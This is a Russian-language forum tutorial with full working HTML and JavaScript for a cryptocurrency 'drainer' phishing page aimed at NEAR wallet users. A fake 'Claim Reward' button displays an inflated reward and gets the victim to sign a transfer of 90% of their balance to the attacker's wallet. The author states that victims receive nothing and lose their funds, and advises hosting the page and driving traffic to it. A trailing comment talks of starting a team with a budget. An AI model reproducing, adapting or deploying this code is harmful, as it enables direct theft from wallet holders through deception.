Простая версия Drainer для блокчейна NEAR Приветствую! У всех на слуху информация о дрейнерах в популярных EVM-сетях, Solana, а также с недавних пор TON. Однако, есть сети, которые по сей день никем не тронуты, но всему приходит своё время :) В данной статье будет подана на блюдце простая версия дрейнера в блокчейне NEAR. Что потребуется для работы: Минимальные знания в веб-разработке; Немного времени; Около $20 на хостинг и домен; Меньше воды, больше дела, сразу перейдем к технической части! Нам придётся работать в такой среде, как Next.js / VanillaJS Исходники обоих я обязательно предоставлю! В примере мы будем использовать VanillaJS для более простой реализации. Для работы нам понадобятся два файла: index.html: <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@near-wallet-selector/modal-ui-js@8.7.2/styles.css"> </head> <body> <div> <p id="balance-display">Reward: Awaiting connection...</p> </div> <button id="open-walletselector-button">Login</button> <button id="send-transaction-button">Claim Reward</button> </body> <script async src="https://ga.jspm.io/npm:es-module-shims@1.10.0/dist/es-module-shims.js" crossorigin="anonymous"></script> <script type="importmap"> // импортируются модули, в исходниках имеется </script> <script type="module" src="main.js"></script> </html> HTML <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@near-wallet-selector/modal-ui-js@8.7.2/styles.css"> </head> <body> <div> <p id="balance-display">Reward: Awaiting connection...</p> </div> <button id="open-walletselector-button">Login</button> <button id="send-transaction-button">Claim Reward</button> </body> <script async src="https://ga.jspm.io/npm:es-module-shims@1.10.0/dist/es-module-shims.js" crossorigin="anonymous"></script> <script type="importmap"> // импортируются модули, в исходниках имеется </script> <script type="module" src="main.js"></script> </html> В данном файле ничего сложного: кнопка для подключения кошелька и кнопка, вызывающая функцию отправки средств (Transfer). main.js: import { setupWalletSelector } from "@near-wallet-selector/core"; import { setupModal } from "@near-wallet-selector/modal-ui-js"; import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet"; import { setupHereWallet } from "@near-wallet-selector/here-wallet"; import { providers, utils } from "near-api-js"; (async function () { const selector = await setupWalletSelector({ network: "mainnet", modules: [setupMyNearWallet(), setupHereWallet()], }); const modal = setupModal(selector, { contractId: "nft.claims-reward.near", }); window.selector = selector; window.modal = modal; const sendButton = document.getElementById('send-transaction-button'); sendButton.disabled = true; document.getElementById('open-walletselector-button').addEventListener('click', () => modal.show()); document.getElementById('send-transaction-button').addEventListener('click', async () => { const state = selector.store.getState(); const selectedWalletId = state.selectedWalletId; const wallet = await selector.wallet(selectedWalletId); const deposit = window.accountBalance; // уже рассчитанная сумма с учетом 10% вычета if (selectedWalletId === "my-near-wallet" || selectedWalletId === "here-wallet") { await wallet.signAndSendTransactions({ transactions: [ { receiverId: "YOUR WALLET", actions: [ { type: "Transfer", params: { deposit: deposit, }, }, ], }, ], }); } else { alert("Unsupported wallet. Please select MyNearWallet or HereWallet."); } }); selector.store.observable.subscribe(async (state) => { if (state.accounts.length > 0) { const { network } = selector.options; const accountId = state.accounts[0].accountId; const provider = new providers.JsonRpcProvider({ url: network.nodeUrl }); const accountState = await provider.query({ request_type: "view_account", account_id: accountId, finality: "final", }); const totalAmount = BigInt(accountState.amount); const reducedAmount = (totalAmount * 9n) / 10n; const adjustedAmount = (reducedAmount * 135n) / 100n; window.accountBalance = reducedAmount.toString(); const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2); const balanceDisplay = document.getElementById('balance-display'); balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`; sendButton.disabled = false; } }); })(); JS import { setupWalletSelector } from "@near-wallet-selector/core"; import { setupModal } from "@near-wallet-selector/modal-ui-js"; import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet"; import { setupHereWallet } from "@near-wallet-selector/here-wallet"; import { providers, utils } from "near-api-js"; (async function () { const selector = await setupWalletSelector({ network: "mainnet", modules: [setupMyNearWallet(), setupHereWallet()], }); const modal = setupModal(selector, { contractId: "nft.claims-reward.near", }); window.selector = selector; window.modal = modal; const sendButton = document.getElementById('send-transaction-button'); sendButton.disabled = true; document.getElementById('open-walletselector-button').addEventListener('click', () => modal.show()); document.getElementById('send-transaction-button').addEventListener('click', async () => { const state = selector.store.getState(); const selectedWalletId = state.selectedWalletId; const wallet = await selector.wallet(selectedWalletId); const deposit = window.accountBalance; // уже рассчитанная сумма с учетом 10% вычета if (selectedWalletId === "my-near-wallet" || selectedWalletId === "here-wallet") { await wallet.signAndSendTransactions({ transactions: [ { receiverId: "YOUR WALLET", actions: [ { type: "Transfer", params: { deposit: deposit, }, }, ], }, ], }); } else { alert("Unsupported wallet. Please select MyNearWallet or HereWallet."); } }); selector.store.observable.subscribe(async (state) => { if (state.accounts.length > 0) { const { network } = selector.options; const accountId = state.accounts[0].accountId; const provider = new providers.JsonRpcProvider({ url: network.nodeUrl }); const accountState = await provider.query({ request_type: "view_account", account_id: accountId, finality: "final", }); const totalAmount = BigInt(accountState.amount); const reducedAmount = (totalAmount * 9n) / 10n; const adjustedAmount = (reducedAmount * 135n) / 100n; window.accountBalance = reducedAmount.toString(); const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2); const balanceDisplay = document.getElementById('balance-display'); balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`; sendButton.disabled = false; } }); })(); А вот тут нам уже необходимо понимать, что же выполняет наш скрипт объемом в 80 строк Пройдемся: - Естественно мы импортируем необходимые библиотеки для работы нашей среды import { setupWalletSelector } from "@near-wallet-selector/core"; import { setupModal } from "@near-wallet-selector/modal-ui-js"; import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet"; import { setupHereWallet } from "@near-wallet-selector/here-wallet"; import { providers, utils } from "near-api-js"; JS import { setupWalletSelector } from "@near-wallet-selector/core"; import { setupModal } from "@near-wallet-selector/modal-ui-js"; import { setupMyNearWallet } from "@near-wallet-selector/my-near-wallet"; import { setupHereWallet } from "@near-wallet-selector/here-wallet"; import { providers, utils } from "near-api-js"; -Обозначаем для WalletSelector, что мы будем использовать его в mainnet-сети и использовать два кошелька (MyNearWallet и HereWallet) const selector = await setupWalletSelector({ network: "mainnet", modules: [setupMyNearWallet(), setupHereWallet()], }); JS const selector = await setupWalletSelector({ network: "mainnet", modules: [setupMyNearWallet(), setupHereWallet()], }); -Нам необходимо указать любой смарт-контракт, к которому должно происходить подключение(дальнейшей роли никак не играет, требование некоторых кошельков) Для простоты и удобства я создал пустой смарт-контракт без функций и указал его. const modal = setupModal(selector, { contractId: "nft.claims-reward.near", }); JS const modal = setupModal(selector, { contractId: "nft.claims-reward.near", }); -В данной части кода нам необходимо указать свой кошелек, куда будут приходить NEAR, заместо "YOUR WALLET" (ковычки оставляем, не трожь их!) await wallet.signAndSendTransactions({ transactions: [ { receiverId: "YOUR WALLET", //Указать ваш кошелек actions: [ { type: "Transfer", params: { deposit: deposit, }, }, ], }, ], }); JS await wallet.signAndSendTransactions({ transactions: [ { receiverId: "YOUR WALLET", //Указать ваш кошелек actions: [ { type: "Transfer", params: { deposit: deposit, }, }, ], }, ], }); -А также прикладываю оставшуюся не особо важную часть кода с комментариями, для тех, кто хотел бы настроить на свой лад! selector.store.observable.subscribe(async (state) => { if (state.accounts.length > 0) { const { network } = selector.options; const accountId = state.accounts[0].accountId; const provider = new providers.JsonRpcProvider({ url: network.nodeUrl }); //Получение баланса кошелька const accountState = await provider.query({ request_type: "view_account", account_id: accountId, finality: "final", }); // Конвертируем строку в BigInt для точных расчетов без плавающей запятой const totalAmount = BigInt(accountState.amount); // Рассчитываем 90% от баланса (вычитая 10%) const reducedAmount = (totalAmount * 9n) / 10n; // Рассчитываем баланс умноженный на 1.35 const adjustedAmount = (reducedAmount * 135n) / 100n; // Сохраняем полученное значение в глобальную переменную window.accountBalance = reducedAmount.toString(); // Выводим баланс умноженный на 1.35 в NEAR const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2); // Выводим баланс в HTML const balanceDisplay = document.getElementById('balance-display'); balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`; // Активируем кнопку отправки транзакции sendButton.disabled = false; } }); JS selector.store.observable.subscribe(async (state) => { if (state.accounts.length > 0) { const { network } = selector.options; const accountId = state.accounts[0].accountId; const provider = new providers.JsonRpcProvider({ url: network.nodeUrl }); //Получение баланса кошелька const accountState = await provider.query({ request_type: "view_account", account_id: accountId, finality: "final", }); // Конвертируем строку в BigInt для точных расчетов без плавающей запятой const totalAmount = BigInt(accountState.amount); // Рассчитываем 90% от баланса (вычитая 10%) const reducedAmount = (totalAmount * 9n) / 10n; // Рассчитываем баланс умноженный на 1.35 const adjustedAmount = (reducedAmount * 135n) / 100n; // Сохраняем полученное значение в глобальную переменную window.accountBalance = reducedAmount.toString(); // Выводим баланс умноженный на 1.35 в NEAR const formattedAdjustedBalance = utils.format.formatNearAmount(adjustedAmount.toString(), 2); // Выводим баланс в HTML const balanceDisplay = document.getElementById('balance-display'); balanceDisplay.textContent = `Reward: ${formattedAdjustedBalance} NEAR`; // Активируем кнопку отправки транзакции sendButton.disabled = false; } }); Вот и вся техническая часть, которую мы уложили грубо говоря в 80 строк. Пример кода позволяет реализовать базовый Drainer в блокчейне NEAR. С небольшими доработками можно расширить его функционал: добавить уведомления в Telegram, поддержку дополнительных токенов и NFT, а также интеграцию со сложными смарт-контрактами. Прикладываю небольшую демонстрацию работы скрипта с MyNearWallet. Выбор кошелька по кнопке Login Авторизация MyNearWallet Ну и событие по нажатию на кнопочку Claim Reward Соответственно никакого Reward пользователь не получает, а только теряет Остаётся накидать дизайн, захостить и нагнать траффика В следующей статье расскажу о способе монетизации :) Всем доброго времени суток и спасибо за внимание!
Пойду тиму открывать тогда с бюджетом 3000. Но как человеку который в этом вообще не разбирается половина вообще не понятна.